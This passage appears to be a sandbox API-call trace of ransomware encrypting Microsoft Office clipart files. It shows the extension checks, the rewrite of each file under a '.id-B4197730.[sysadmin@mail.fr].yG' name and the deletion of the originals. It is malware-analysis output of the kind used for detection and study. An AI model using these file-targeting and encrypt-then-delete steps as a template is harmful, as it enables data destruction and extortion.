	[0149.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.815] lstrlenW (lpString=".jpg") returned 4
	[0149.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.815] lstrlenW (lpString=".doc") returned 4
	[0149.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.815] lstrlenW (lpString=".docx") returned 5
	[0149.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.815] lstrlenW (lpString=".pdf") returned 4
	[0149.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.815] lstrlenW (lpString=".xls") returned 4
	[0149.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.816] lstrlenW (lpString=".xlsx") returned 5
	[0149.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.816] lstrlenW (lpString=".ppt") returned 4
	[0149.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.816] lstrlenW (lpString=".zip") returned 4
	[0149.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.816] lstrlenW (lpString=".rar") returned 4
	[0149.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.816] lstrlenW (lpString=".bz2") returned 4
	[0149.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.816] lstrlenW (lpString=".7z") returned 3
	[0149.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.816] lstrlenW (lpString=".dbf") returned 4
	[0149.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.816] lstrlenW (lpString=".1cd") returned 4
	[0149.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0149.816] lstrlenW (lpString=".jpg") returned 4
	[0149.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.816] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.816] lstrlenW (lpString="HH00260_.WMF") returned 12
	[0149.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0149.860] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3662) returned 1
	[0149.861] CloseHandle (hObject=0x544) returned 1
	[0149.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220
	[0150.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.145] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.145] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0150.145] GetLastError () returned 0x0
	[0150.145] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xe4e, lpOverlapped=0x0) returned 1
	[0150.147] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xe50, lpOverlapped=0x0) returned 1
	[0150.149] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.149] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.149] SetEndOfFile (hFile=0x544) returned 1
	[0150.149] CloseHandle (hObject=0x544) returned 1
	[0150.149] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.149] SetEndOfFile (hFile=0x554) returned 1
	[0150.153] CloseHandle (hObject=0x554) returned 1
	[0150.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1
	[0150.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.154] lstrlenW (lpString=".doc") returned 4
	[0150.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.154] lstrlenW (lpString=".docx") returned 5
	[0150.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.154] lstrlenW (lpString=".pdf") returned 4
	[0150.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.154] lstrlenW (lpString=".xls") returned 4
	[0150.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.154] lstrlenW (lpString=".xlsx") returned 5
	[0150.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.154] lstrlenW (lpString=".ppt") returned 4
	[0150.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.154] lstrlenW (lpString=".zip") returned 4
	[0150.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.155] lstrlenW (lpString=".rar") returned 4
	[0150.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.155] lstrlenW (lpString=".bz2") returned 4
	[0150.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.155] lstrlenW (lpString=".7z") returned 3
	[0150.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.155] lstrlenW (lpString=".dbf") returned 4
	[0150.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.155] lstrlenW (lpString=".1cd") returned 4
	[0150.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.155] lstrlenW (lpString=".jpg") returned 4
	[0150.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.155] lstrlenW (lpString=".doc") returned 4
	[0150.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.155] lstrlenW (lpString=".docx") returned 5
	[0150.155] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.155] lstrlenW (lpString=".pdf") returned 4
	[0150.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.155] lstrlenW (lpString=".xls") returned 4
	[0150.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.156] lstrlenW (lpString=".xlsx") returned 5
	[0150.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.156] lstrlenW (lpString=".ppt") returned 4
	[0150.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.156] lstrlenW (lpString=".zip") returned 4
	[0150.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.156] lstrlenW (lpString=".rar") returned 4
	[0150.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.156] lstrlenW (lpString=".bz2") returned 4
	[0150.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.156] lstrlenW (lpString=".7z") returned 3
	[0150.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.156] lstrlenW (lpString=".dbf") returned 4
	[0150.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.156] lstrlenW (lpString=".1cd") returned 4
	[0150.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0150.156] lstrlenW (lpString=".jpg") returned 4
	[0150.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.157] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.157] lstrlenW (lpString="HH00602_.WMF") returned 12
	[0150.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.157] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=1400) returned 1
	[0150.157] CloseHandle (hObject=0x554) returned 1
	[0150.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220
	[0150.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.158] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.158] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0150.159] GetLastError () returned 0x0
	[0150.159] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x578, lpOverlapped=0x0) returned 1
	[0150.176] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x580, lpOverlapped=0x0) returned 1
	[0150.177] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.177] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.178] SetEndOfFile (hFile=0x544) returned 1
	[0150.178] CloseHandle (hObject=0x544) returned 1
	[0150.178] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.178] SetEndOfFile (hFile=0x554) returned 1
	[0150.181] CloseHandle (hObject=0x554) returned 1
	[0150.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1
	[0150.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.183] lstrlenW (lpString=".doc") returned 4
	[0150.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.183] lstrlenW (lpString=".docx") returned 5
	[0150.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.183] lstrlenW (lpString=".pdf") returned 4
	[0150.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.183] lstrlenW (lpString=".xls") returned 4
	[0150.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.183] lstrlenW (lpString=".xlsx") returned 5
	[0150.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.183] lstrlenW (lpString=".ppt") returned 4
	[0150.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.183] lstrlenW (lpString=".zip") returned 4
	[0150.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.183] lstrlenW (lpString=".rar") returned 4
	[0150.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.183] lstrlenW (lpString=".bz2") returned 4
	[0150.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.183] lstrlenW (lpString=".7z") returned 3
	[0150.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.184] lstrlenW (lpString=".dbf") returned 4
	[0150.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.184] lstrlenW (lpString=".1cd") returned 4
	[0150.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.184] lstrlenW (lpString=".jpg") returned 4
	[0150.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.184] lstrlenW (lpString=".doc") returned 4
	[0150.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.184] lstrlenW (lpString=".docx") returned 5
	[0150.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.184] lstrlenW (lpString=".pdf") returned 4
	[0150.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.184] lstrlenW (lpString=".xls") returned 4
	[0150.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.184] lstrlenW (lpString=".xlsx") returned 5
	[0150.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.184] lstrlenW (lpString=".ppt") returned 4
	[0150.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.184] lstrlenW (lpString=".zip") returned 4
	[0150.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.185] lstrlenW (lpString=".rar") returned 4
	[0150.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.185] lstrlenW (lpString=".bz2") returned 4
	[0150.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.185] lstrlenW (lpString=".7z") returned 3
	[0150.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.185] lstrlenW (lpString=".dbf") returned 4
	[0150.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.185] lstrlenW (lpString=".1cd") returned 4
	[0150.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0150.185] lstrlenW (lpString=".jpg") returned 4
	[0150.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.185] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.185] lstrlenW (lpString="HH00612_.WMF") returned 12
	[0150.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.187] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=12632) returned 1
	[0150.187] CloseHandle (hObject=0x554) returned 1
	[0150.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220
	[0150.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.188] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.188] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0150.188] GetLastError () returned 0x0
	[0150.188] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3158, lpOverlapped=0x0) returned 1
	[0150.306] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3160, lpOverlapped=0x0) returned 1
	[0150.307] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.307] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.307] SetEndOfFile (hFile=0x544) returned 1
	[0150.308] CloseHandle (hObject=0x544) returned 1
	[0150.308] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.308] SetEndOfFile (hFile=0x554) returned 1
	[0150.313] CloseHandle (hObject=0x554) returned 1
	[0150.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1
	[0150.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.314] lstrlenW (lpString=".doc") returned 4
	[0150.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.315] lstrlenW (lpString=".docx") returned 5
	[0150.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.315] lstrlenW (lpString=".pdf") returned 4
	[0150.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.315] lstrlenW (lpString=".xls") returned 4
	[0150.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.315] lstrlenW (lpString=".xlsx") returned 5
	[0150.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.315] lstrlenW (lpString=".ppt") returned 4
	[0150.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.315] lstrlenW (lpString=".zip") returned 4
	[0150.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.315] lstrlenW (lpString=".rar") returned 4
	[0150.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.315] lstrlenW (lpString=".bz2") returned 4
	[0150.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.315] lstrlenW (lpString=".7z") returned 3
	[0150.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.315] lstrlenW (lpString=".dbf") returned 4
	[0150.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0150.315] lstrlenW (lpString=".1cd") returned 4
	[0150.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
